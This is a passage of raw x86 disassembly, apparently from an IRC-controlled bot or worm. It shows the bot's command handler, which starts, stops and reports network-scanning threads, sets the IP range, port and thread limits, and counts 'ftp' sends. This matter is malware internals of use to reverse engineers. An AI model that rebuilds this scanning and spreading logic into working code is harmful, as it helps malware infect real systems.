		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445418
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445418


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5F285B
		mov	eax, dword_445418
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445420


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5F285B
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5F285B
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445418
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445418
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445418[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455E4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455E4
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E0
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
